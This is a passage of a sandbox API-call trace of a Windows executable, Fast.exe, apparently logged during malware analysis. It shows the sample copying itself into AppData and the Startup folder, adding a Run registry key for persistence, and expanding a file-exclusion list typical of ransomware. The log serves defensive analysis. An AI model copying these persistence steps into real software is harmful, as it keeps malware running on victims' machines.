hHeap=0x870000) returned 1 [0054.525] GetProcessHeap () returned 0x870000 [0054.525] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87f880 | out: hHeap=0x870000) returned 1 [0054.525] GetProcessHeap () returned 0x870000 [0054.525] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x889ec8 [0054.525] GetProcessHeap () returned 0x870000 [0054.525] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x889ef0 [0054.525] GetProcessHeap () returned 0x870000 [0054.525] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x889f18 [0054.525] GetProcessHeap () returned 0x870000 [0054.525] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a6b0 [0054.525] GetProcessHeap () returned 0x870000 [0054.525] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a6b0 | out: hHeap=0x870000) returned 1 [0054.525] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x889ef0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.525] GetProcessHeap () returned 0x870000 [0054.525] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889f18 | out: hHeap=0x870000) returned 1 [0054.526] GetProcessHeap () returned 0x870000 [0054.526] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ec8 | out: hHeap=0x870000) returned 1 [0054.526] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x40f8e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x40f8e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.526] GetProcessHeap () returned 0x870000 [0054.526] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ef0 | out: hHeap=0x870000) returned 1 [0054.527] GetProcessHeap () returned 0x870000 [0054.527] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x60) returned 0x88a6b0 [0054.527] GetProcessHeap () returned 0x870000 [0054.527] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x889ec8 [0054.527] GetProcessHeap () returned 0x870000 [0054.527] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x889ef0 [0054.527] GetProcessHeap () returned 0x870000 [0054.527] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x889f18 [0054.527] GetProcessHeap () returned 0x870000 [0054.527] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a718 [0054.527] GetProcessHeap () returned 0x870000 [0054.527] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a718 | out: hHeap=0x870000) returned 1 [0054.527] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x889ef0, nSize=0xf | out: lpDst="") returned 0x2c [0054.528] GetProcessHeap () returned 0x870000 [0054.528] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889f18 | out: hHeap=0x870000) returned 1 [0054.528] GetProcessHeap () returned 0x870000 [0054.528] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x889ef0, Size=0x3a) returned 0x883e20 [0054.528] GetProcessHeap () returned 0x870000 [0054.528] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x3a) returned 0x883e68 [0054.528] GetProcessHeap () returned 0x870000 [0054.528] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a718 [0054.528] GetProcessHeap () returned 0x870000 [0054.528] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a718 | out: hHeap=0x870000) returned 1 [0054.528] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x883e20, nSize=0x1d | out: lpDst="") returned 0x2c [0054.528] GetProcessHeap () returned 0x870000 [0054.529] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883e68 | out: hHeap=0x870000) returned 1 [0054.529] GetProcessHeap () returned 0x870000 [0054.529] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x883e20, Size=0x72) returned 0x87f880 [0054.529] GetProcessHeap () returned 0x870000 [0054.529] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x72) returned 0x87f900 [0054.529] GetProcessHeap () returned 0x870000 [0054.529] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a718 [0054.529] GetProcessHeap () returned 0x870000 [0054.529] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a718 | out: hHeap=0x870000) returned 1 [0054.529] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x87f880, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0054.529] GetProcessHeap () returned 0x870000 [0054.529] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87f900 | out: hHeap=0x870000) returned 1 [0054.529] GetProcessHeap () returned 0x870000 [0054.530] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ec8 | out: hHeap=0x870000) returned 1 [0054.530] GetProcessHeap () returned 0x870000 [0054.530] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x883e20 [0054.530] GetProcessHeap () returned 0x870000 [0054.530] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3e) returned 0x883e68 [0054.530] GetProcessHeap () returned 0x870000 [0054.530] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x3e) returned 0x883eb0 [0054.530] GetProcessHeap () returned 0x870000 [0054.530] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a718 [0054.530] GetProcessHeap () returned 0x870000 [0054.530] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x10) returned 0x881670 [0054.530] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x40f804 | out: phkResult=0x40f804*=0xa8) returned 0x0 [0054.534] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x40f800, lpData=0x883eb0, lpcbData=0x40f808*=0x3e | out: lpType=0x40f800*=0x2, lpData=0x883eb0*=0x2f, lpcbData=0x40f808*=0x98) returned 0xea [0054.534] RegCloseKey (hKey=0xa8) returned 0x0 [0054.534] GetProcessHeap () returned 0x870000 [0054.534] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x881670 | out: hHeap=0x870000) returned 1 [0054.534] GetProcessHeap () returned 0x870000 [0054.534] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a718 | out: hHeap=0x870000) returned 1 [0054.535] GetProcessHeap () returned 0x870000 [0054.535] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883eb0 | out: hHeap=0x870000) returned 1 [0054.535] GetProcessHeap () returned 0x870000 [0054.535] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x883e68, Size=0x7a) returned 0x88a718 [0054.535] GetProcessHeap () returned 0x870000 [0054.535] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x7a) returned 0x88a7a0 [0054.535] GetProcessHeap () returned 0x870000 [0054.535] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a828 [0054.535] GetProcessHeap () returned 0x870000 [0054.535] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x10) returned 0x881670 [0054.535] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x40f804 | out: phkResult=0x40f804*=0xa8) returned 0x0 [0054.536] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x40f800, lpData=0x88a7a0, lpcbData=0x40f808*=0x7a | out: lpType=0x40f800*=0x2, lpData=0x88a7a0*=0xc4, lpcbData=0x40f808*=0x98) returned 0xea [0054.536] RegCloseKey (hKey=0xa8) returned 0x0 [0054.536] GetProcessHeap () returned 0x870000 [0054.536] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x881670 | out: hHeap=0x870000) returned 1 [0054.536] GetProcessHeap () returned 0x870000 [0054.536] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a828 | out: hHeap=0x870000) returned 1 [0054.536] GetProcessHeap () returned 0x870000 [0054.536] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a7a0 | out: hHeap=0x870000) returned 1 [0054.536] GetProcessHeap () returned 0x870000 [0054.536] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x88a718, Size=0xf2) returned 0x88a718 [0054.536] GetProcessHeap () returned 0x870000 [0054.536] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0xf2) returned 0x88a818 [0054.537] GetProcessHeap () returned 0x870000 [0054.537] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a918 [0054.537] GetProcessHeap () returned 0x870000 [0054.537] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x10) returned 0x881670 [0054.537] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x40f804 | out: phkResult=0x40f804*=0xa8) returned 0x0 [0054.537] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x40f800, lpData=0x88a818, lpcbData=0x40f808*=0xf2 | out: lpType=0x40f800*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x40f808*=0x98) returned 0x0 [0054.537] RegCloseKey (hKey=0xa8) returned 0x0 [0054.537] GetProcessHeap () returned 0x870000 [0054.538] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x881670 | out: hHeap=0x870000) returned 1 [0054.538] GetProcessHeap () returned 0x870000 [0054.538] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x889ec8 [0054.538] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x40f804 | out: phkResult=0x40f804*=0xa8) returned 0x0 [0054.538] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x40f800, lpData=0x88a8b0, lpcbData=0x40f808*=0x5a | out: lpType=0x40f800*=0x0, lpData=0x88a8b0*=0x73, lpcbData=0x40f808*=0x5a) returned 0x2 [0054.538] RegCloseKey (hKey=0xa8) returned 0x0 [0054.538] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x40f818 | out: phkResult=0x40f818*=0xa8) returned 0x0 [0054.539] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x40f814, lpData=0x88a8b0, lpcbData=0x40f81c*=0x5a | out: lpType=0x40f814*=0x2, lpData=0x88a8b0*=0x73, lpcbData=0x40f81c*=0x78) returned 0xea [0054.539] RegCloseKey (hKey=0xa8) returned 0x0 [0054.539] GetProcessHeap () returned 0x870000 [0054.539] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ec8 | out: hHeap=0x870000) returned 1 [0054.539] GetProcessHeap () returned 0x870000 [0054.539] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a918 | out: hHeap=0x870000) returned 1 [0054.539] GetProcessHeap () returned 0x870000 [0054.539] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a818 | out: hHeap=0x870000) returned 1 [0054.539] GetProcessHeap () returned 0x870000 [0054.539] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x88a718, Size=0x1e2) returned 0x88a718 [0054.540] GetProcessHeap () returned 0x870000 [0054.540] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e2) returned 0x88a908 [0054.540] GetProcessHeap () returned 0x870000 [0054.540] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88aaf8 [0054.540] GetProcessHeap () returned 0x870000 [0054.540] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x10) returned 0x881670 [0054.540] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x40f804 | out: phkResult=0x40f804*=0xa8) returned 0x0 [0054.540] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x40f800, lpData=0x88a908, lpcbData=0x40f808*=0x1e2 | out: lpType=0x40f800*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x40f808*=0x98) returned 0x0 [0054.540] RegCloseKey (hKey=0xa8) returned 0x0 [0054.541] GetProcessHeap () returned 0x870000 [0054.541] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x881670 | out: hHeap=0x870000) returned 1 [0054.541] GetProcessHeap () returned 0x870000 [0054.541] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x889ec8 [0054.541] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x40f804 | out: phkResult=0x40f804*=0xa8) returned 0x0 [0054.542] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x40f800, lpData=0x88a9a0, lpcbData=0x40f808*=0x14a | out: lpType=0x40f800*=0x0, lpData=0x88a9a0*=0x73, lpcbData=0x40f808*=0x14a) returned 0x2 [0054.542] RegCloseKey (hKey=0xa8) returned 0x0 [0054.543] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x40f818 | out: phkResult=0x40f818*=0xa8) returned 0x0 [0054.543] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x40f814, lpData=0x88a9a0, lpcbData=0x40f81c*=0x14a | out: lpType=0x40f814*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x40f81c*=0x78) returned 0x0 [0054.543] RegCloseKey (hKey=0xa8) returned 0x0 [0054.543] GetProcessHeap () returned 0x870000 [0054.543] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ec8 | out: hHeap=0x870000) returned 1 [0054.543] GetProcessHeap () returned 0x870000 [0054.543] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88aaf8 | out: hHeap=0x870000) returned 1 [0054.544] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x88a718, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0054.544] GetProcessHeap () returned 0x870000 [0054.544] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a908 | out: hHeap=0x870000) returned 1 [0054.544] GetProcessHeap () returned 0x870000 [0054.544] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883e20 | out: hHeap=0x870000) returned 1 [0054.544] GetProcessHeap () returned 0x870000 [0054.544] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88a908 [0054.544] GetProcessHeap () returned 0x870000 [0054.544] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88ab20 [0054.544] GetProcessHeap () returned 0x870000 [0054.544] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88ad38 [0054.544] GetProcessHeap () returned 0x870000 [0054.544] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88af50 [0054.545] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x88a908, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0054.545] GetProcessHeap () returned 0x870000 [0054.545] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88b168 [0054.545] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x88b168, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0054.545] GetProcessHeap () returned 0x870000 [0054.545] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b168 | out: hHeap=0x870000) returned 1 [0054.545] GetProcessHeap () returned 0x870000 [0054.545] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88b168 [0054.545] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x88b168, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0054.545] GetProcessHeap () returned 0x870000 [0054.545] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b168 | out: hHeap=0x870000) returned 1 [0054.546] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\fast.exe"), bFailIfExists=0) returned 1 [0054.570] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x40f900 | out: phkResult=0x40f900*=0xac) returned 0x0 [0054.571] RegSetValueExW (hKey=0xac, lpValueName="Fast", Reserved=0x0, dwType=0x1, lpData=0x88ab20, cbData=0x68) returned 0x5 [0054.571] RegCloseKey (hKey=0xac) returned 0x0 [0054.571] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x40f8fc | out: phkResult=0x40f8fc*=0xac) returned 0x0 [0054.572] RegSetValueExW (in: hKey=0xac, lpValueName="Fast", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe", cbData=0x68 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe") returned 0x0 [0054.575] RegCloseKey (hKey=0xac) returned 0x0 [0054.575] GetProcessHeap () returned 0x870000 [0054.575] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x134) returned 0x88b168 [0054.575] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe"), bFailIfExists=1) returned 1 [0054.587] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe"), bFailIfExists=1) returned 0 [0054.590] GetProcessHeap () returned 0x870000 [0054.590] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b168 | out: hHeap=0x870000) returned 1 [0054.590] GetProcessHeap () returned 0x870000 [0054.590] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a908 | out: hHeap=0x870000) returned 1 [0054.590] GetProcessHeap () returned 0x870000 [0054.590] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88ab20 | out: hHeap=0x870000) returned 1 [0054.590] GetProcessHeap () returned 0x870000 [0054.590] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88ad38 | out: hHeap=0x870000) returned 1 [0054.590] GetProcessHeap () returned 0x870000 [0054.590] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88af50 | out: hHeap=0x870000) returned 1 [0054.590] GetProcessHeap () returned 0x870000 [0054.590] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a6b0 | out: hHeap=0x870000) returned 1 [0054.590] GetProcessHeap () returned 0x870000 [0054.590] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87f880 | out: hHeap=0x870000) returned 1 [0054.590] GetProcessHeap () returned 0x870000 [0054.591] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a718 | out: hHeap=0x870000) returned 1 [0054.591] GetProcessHeap () returned 0x870000 [0054.591] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x889ec8 [0054.591] GetProcessHeap () returned 0x870000 [0054.591] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x889ef0 [0054.591] GetProcessHeap () returned 0x870000 [0054.591] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x889f18 [0054.591] GetProcessHeap () returned 0x870000 [0054.591] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88a6b0 [0054.591] GetProcessHeap () returned 0x870000 [0054.591] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a6b0 | out: hHeap=0x870000) returned 1 [0054.591] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x889ef0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.591] GetProcessHeap () returned 0x870000 [0054.591] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889f18 | out: hHeap=0x870000) returned 1 [0054.591] GetProcessHeap () returned 0x870000 [0054.592] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ec8 | out: hHeap=0x870000) returned 1 [0054.592] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x40f91c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x40f91c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.592] GetProcessHeap () returned 0x870000 [0054.592] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ef0 | out: hHeap=0x870000) returned 1 [0054.592] GetProcessHeap () returned 0x870000 [0054.592] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x28) returned 0x88a6b0 [0054.592] GetProcessHeap () returned 0x870000 [0054.593] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x10) returned 0x881670 [0054.593] GetProcessHeap () returned 0x870000 [0054.593] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x190) returned 0x88a6e0 [0054.593] GetProcessHeap () returned 0x870000 [0054.593] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x60) returned 0x88a878 [0054.593] GetProcessHeap () returned 0x870000 [0054.593] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x5a) returned 0x88a8e0 [0054.593] GetProcessHeap () returned 0x870000 [0054.593] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x88a8e0, Size=0xb2) returned 0x88a8e0 [0054.593] GetProcessHeap () returned 0x870000 [0054.593] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x184) returned 0x88a9a0 [0054.593] GetProcessHeap () returned 0x870000 [0054.594] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x10) returned 0x8816a0 [0054.594] GetProcessHeap () returned 0x870000 [0054.594] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88ab30 [0054.594] GetProcessHeap () returned 0x870000 [0054.594] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x250) returned 0x88ad48 [0054.594] GetProcessHeap () returned 0x870000 [0054.594] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0xa0) returned 0x88afa0 [0054.594] GetProcessHeap () returned 0x870000 [0054.594] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x98) returned 0x88b048 [0054.594] GetProcessHeap () returned 0x870000 [0054.594] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x98) returned 0x88b0e8 [0054.594] GetProcessHeap () returned 0x870000 [0054.595] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88b188 [0054.595] GetProcessHeap () returned 0x870000 [0054.595] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b188 | out: hHeap=0x870000) returned 1 [0054.595] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt", lpDst=0x88b048, nSize=0x4c | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt") returned 0x4c [0054.595] GetProcessHeap () returned 0x870000 [0054.595] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b0e8 | out: hHeap=0x870000) returned 1 [0054.595] GetProcessHeap () returned 0x870000 [0054.595] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88afa0 | out: hHeap=0x870000) returned 1 [0054.595] GetProcessHeap () returned 0x870000 [0054.595] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x70) returned 0x88afa0 [0054.595] GetProcessHeap () returned 0x870000 [0054.595] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x62) returned 0x88b0e8 [0054.595] GetProcessHeap () returned 0x870000 [0054.595] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x62) returned 0x88b158 [0054.596] GetProcessHeap () returned 0x870000 [0054.596] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88b1c8 [0054.596] GetProcessHeap () returned 0x870000 [0054.596] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b1c8 | out: hHeap=0x870000) returned 1 [0054.596] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x88b0e8, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0054.596] GetProcessHeap () returned 0x870000 [0054.596] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b158 | out: hHeap=0x870000) returned 1 [0054.596] GetProcessHeap () returned 0x870000 [0054.596] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x88b0e8, Size=0xc2) returned 0x88b0e8 [0054.596] GetProcessHeap () returned 0x870000 [0054.596] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0xc2) returned 0x88b1b8 [0054.596] GetProcessHeap () returned 0x870000 [0054.597] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88b288 [0054.597] GetProcessHeap () returned 0x870000 [0054.597] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b288 | out: hHeap=0x870000) returned 1 [0054.597] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", 